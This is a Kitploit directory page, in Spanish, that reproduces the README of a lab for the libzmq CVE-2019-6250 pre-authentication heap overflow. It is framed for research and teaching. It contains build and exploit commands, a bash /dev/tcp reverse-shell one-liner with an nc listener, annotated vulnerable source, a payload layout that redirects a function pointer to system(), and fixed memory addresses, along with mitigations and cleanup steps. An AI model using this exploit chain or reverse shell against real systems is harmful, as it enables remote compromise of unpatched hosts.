Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2019-6250-lab — Laboratorio de RCE previo a la autenticación de extremo a extremo para CVE-2019-6250 (libzmq <= 4.3.0, protocolo de cable ZMTP/2.0) | Kitploit
Herramientas/GitHubGitHub/dinosn/cve-2019-6250-lab
Análisis de VulnerabilidadesExplotaciónPruebas de PenetraciónAprendizaje y EducaciónHerramienta de Acceso RemotoDesarrollo de PayloadsExplotación de BinariosLabs y Práctica
GitHubdinosn/cve-2019-6250-lab

cve-2019-6250-lab

Laboratorio de RCE previo a la autenticación de extremo a extremo para CVE-2019-6250 (libzmq <= 4.3.0, protocolo de cable ZMTP/2.0)

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2019-6250 — Laboratorio de RCE pre-autenticación en libzmq

CVE CVSS Affected License

Cadena RCE funcional de extremo a extremo + laboratorio reproducible para CVE-2019-6250, el desbordamiento de búfer en el heap previo a la autenticación en v2_decoder_t::size_ready de libzmq. Un desbordamiento aritmético de puntero uint64_t permite que un par no autenticado sobrescriba el puntero a función msg_t::content_t::ffn adyacente en la ruta de transmisión ZMTP/2.0, y luego lo active mediante el cierre del socket TCP → ~v2_decoder_t() → _in_progress.close() → system(cmd).

Por Nicolas Krassas (@dinosn).

Solo para uso en laboratorio. Este kit incluye una versión intencionalmente vulnerable de libzmq 4.3.0. No expongas el puerto 5555 fuera del laboratorio. El error se corrigió hace siete años en libzmq 4.3.1 (commit 1a2ed127).


Demostración

Cadena system() — prueba de archivo

cadena system

Shell inversa — root interactivo

shell inversa

Prueba de humo automatizada de extremo a extremo

prueba de humo


Resumen (Docker)

root@kitploit:~
docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
           -p 5555:5555 cve-2019-6250-lab

# inside the container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250        # <-- created by the libzmq server process

Resumen (instalación directa — Debian 12 / Kali 2024.x / Ubuntu 22.04)

root@kitploit:~
sudo ./setup.sh                       # builds libzmq 4.3.0 + target, disables ASLR
sudo ./start_server.sh                # binds tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555           # default cmd: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250

Shell inversa

root@kitploit:~
# terminal 1 — listener
nc -lvnp 4444

# terminal 2 — fire the chain
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'

Deberías ver algo como:

root@kitploit:~
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#

La línea cannot set terminal process group (1355844) confirma que la shell fue generada por el proceso objetivo de libzmq (PID 1355844), no por nada que hayas ejecutado localmente.


Estructura del repositorio

root@kitploit:~
.
├── README.md             # estás aquí
├── server.c              # pequeño receptor PULL — el objetivo vulnerable
├── exploit.py            # cadena RCE completa
├── setup.sh              # provisionador para instalación directa (clona + compila libzmq 4.3.0)
├── start_server.sh       # iniciar/reiniciar el objetivo
├── read_addresses.sh     # regenerar el perfil de direcciones para una imagen diferente
├── run_lab_test.sh       # prueba de humo automatizada de extremo a extremo (apta para CI)
├── Dockerfile            # laboratorio contenerizado con un solo comando
└── screenshots/          # capturas de pantalla del README (generadas con charmbracelet/freeze)

Mecánica

El error

src/v2_decoder.cpp:117 (libzmq 4.3.0):

root@kitploit:~
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
              || ((unsigned char *) read_pos_ + msg_size_         //  <-- wraps
                  > (allocator.data () + allocator.size ())))) {
    rc = _in_progress.init_size (static_cast<size_t> (msg_size_));   // safe path
} else {
    rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
                            allocator.buffer (), allocator.provide_content ());
    // zero-copy aliasing path — _in_progress.data() == read_pos_
}

msg_size_ es el uint64_t big-endian controlado por el atacante del encabezado de trama LARGE de ZMTP/2.0. Con msg_size_ = 0xFFFFFFFFFFFFFFFF, la suma read_pos_ + msg_size_ se desborda módulo 2⁶⁴ y termina siendo menor que el lado derecho. La comprobación de límites se evalúa como falsa → la ejecución cae en la ruta de copia cero → el mensaje _in_progress alias el búfer de recepción. Luego, el decodificador solicita al kernel 0xFFFFFFFFFFFFFFFF bytes más en read_pos_, y recv() escribe felizmente nuestro payload más allá del final del búfer de recepción en el array content_t[] adyacente (asignado en el mismo bloque malloc() en decoder_allocators.cpp:88).

La cadena

root@kitploit:~
[ atomic_counter_t (refcnt) ]   8 bytes
[ recv buffer ]                 8192 bytes  ← bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 bytes
                                ↑ content_t[0] starts at read_pos_+8183

Enviamos 8224 bytes de payload estructurados de la siguiente manera:

Cuando cerramos el socket TCP, ~v2_decoder_t() del servidor llama a _in_progress.close(). En msg_t::close:

root@kitploit:~
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
    content->ffn(content->data, content->hint);     //  -> system(cmd)
}

init_external_storage estableció _u.zclmsg.flags = 0, por lo que el atajo OR toma la rama inmediatamente — ni siquiera se verifica refcnt. Nuestro ffn sobrescrito se ejecuta.

Sin ROP, sin shellcode, sin fuga de información: solo una resolución de símbolo de libc y una cadena de comando en línea.

Alcanzar v2_decoder_t previo a la autenticación

Mirando stream_engine.cpp:707:

root@kitploit:~
bool zmq::stream_engine_t::handshake_v2_0 ()
{
    if (_session->zap_enabled ()) { error (...); return false; }
    _encoder = new v2_encoder_t (...);
    _decoder = new v2_decoder_t (...);     // <-- NO mechanism object
    return true;
}

La ruta ZMTP/2.0 instancia v2_decoder_t sin mecanismo. Solo ZAP rechaza las conexiones 2.0, y ZAP está desactivado por defecto. Una vez que un par envía el saludo ZMTP/2.0 de 12 bytes (0xff + 8 nulos + 0x7f + revisión 0x01 + tipo de socket), cada byte subsiguiente es analizado por v2_decoder_t. Sin autenticación. Sin handshake. Sin máquina de estados del mecanismo.


Evidencia de ASAN

Opcional: compila con -fsanitize=address y observa el informe de desbordamiento de búfer en el heap:

asan report

El mensaje 0 bytes after 18160-byte region confirma el tamaño del chunk que calculamos: 8 (atomic_counter) + 8192 (búfer de recepción) + 249 × 40 (array content_t) = 18160. El sitio de asignación en handshake_v2_0:719 confirma que el error se activa en la ruta ZMTP/2.0 previa a la autenticación.


Por qué direcciones fijas

Con kernel.randomize_va_space=0, la base de libc, la base de libzmq, el heap y el área malloc del hilo de E/S están en direcciones deterministas. El perfil predeterminado en exploit.py (DEFAULT_PROFILE) se captura para la compilación del laboratorio incluida (Debian 12 / Kali 2024.1 / glibc 2.38, libzmq 4.3.0 modo release -O2):

Al migrar a una compilación diferente de glibc / libzmq, ejecuta ./read_addresses.sh > profile.json después de start_server.sh, luego pasa --profile profile.json al exploit.

En un ataque real, necesitarías una primitiva de fuga de información o una llamada one-gadget que no requiera control de argumentos. Ambos están fuera del alcance de este laboratorio — el objetivo aquí es demostrar limpiamente el pipeline del error a la shell, no derrotar ASLR.


Mitigaciones


Limpieza

root@kitploit:~
sudo pkill -9 server-rce
sudo rm -f /tmp/PWNED-CVE-2019-6250
sudo sysctl -w kernel.randomize_va_space=2     # restore default ASLR

Referencias

  • HackerOne #477073 — divulgación original (Guido Vranken).
  • zeromq/libzmq PR #3353 — la corrección de una línea.
  • zeromq/libzmq issue #3351 — discusión pública.
  • NVD CVE-2019-6250.
  • 37/ZMTP — especificación del Protocolo de Transporte de Mensajes ZeroMQ.
  • Artículo de SystemTek.

Autor

Nicolas Krassas — @dinosn

Licencia

MIT © Nicolas Krassas. El código fuente intencionalmente vulnerable de libzmq 4.3.0 se obtiene en tiempo de compilación del repositorio upstream LGPLv3-con-excepciones / MPLv2 — su licencia se aplica a ese código por separado.

Descargo de responsabilidad

Solo para investigación defensiva de seguridad, educación y pruebas de seguridad autorizadas. No implementes la compilación vulnerable incluida fuera de un entorno de laboratorio controlado.

Descargar herramienta
desplazamiento del payloadbyteslo que sobrescribe
[0:16]padding(en el búfer de recepción)
[16:K]cadena de comando + NUL(en el búfer de recepción — argumento de system)
[K:8183]padding(en el búfer de recepción)
[8183:8191]read_pos+16content_t[0].data (→ comando)
[8191:8199]0content_t[0].size
[8199:8207]&systemcontent_t[0].ffn (objetivo del flujo de control)
[8207:8215]0content_t[0].hint
[8215:8223]0content_t[0].refcnt
campovalorfuente
libc_base0x7ffff7c00000/proc/<pid>/maps
system_off0x53910nm -D /lib/x86_64-linux-gnu/libc.so.6
read_pos0x7ffff000bbc1_buf + sizeof(atomic_counter_t) + 9
dist_to_content8183derivado de la disposición
cmd_offset16dónde en el payload colocamos el comando
DefensaEfecto
Actualizar a libzmq ≥ 4.3.1Corregido. El commit 1a2ed127 reescribe la comprobación de límites como msg_size_ > size_t(allocator.data()+size()-read_pos_) — no es posible el desbordamiento.
zmq_setsockopt(s, ZMQ_MAXMSGSIZE, &n, sizeof(n)) con cualquier n positivoMitiga. Cortocircuita la comprobación de límites defectuosa antes de que pueda desbordarse.
Habilitar la autenticación ZAPBloquea las conexiones ZMTP/2.0 (rechazadas en stream_engine.cpp:709). No corrige el error; solo evita la ruta no autenticada.
ASLRRalentiza la creación de armas pero no la previene — la primitiva de la cadena en sí no se ve afectada.
Canarios de pila / NX / RELRONinguno de estos protege contra un secuestro de puntero a función en el heap.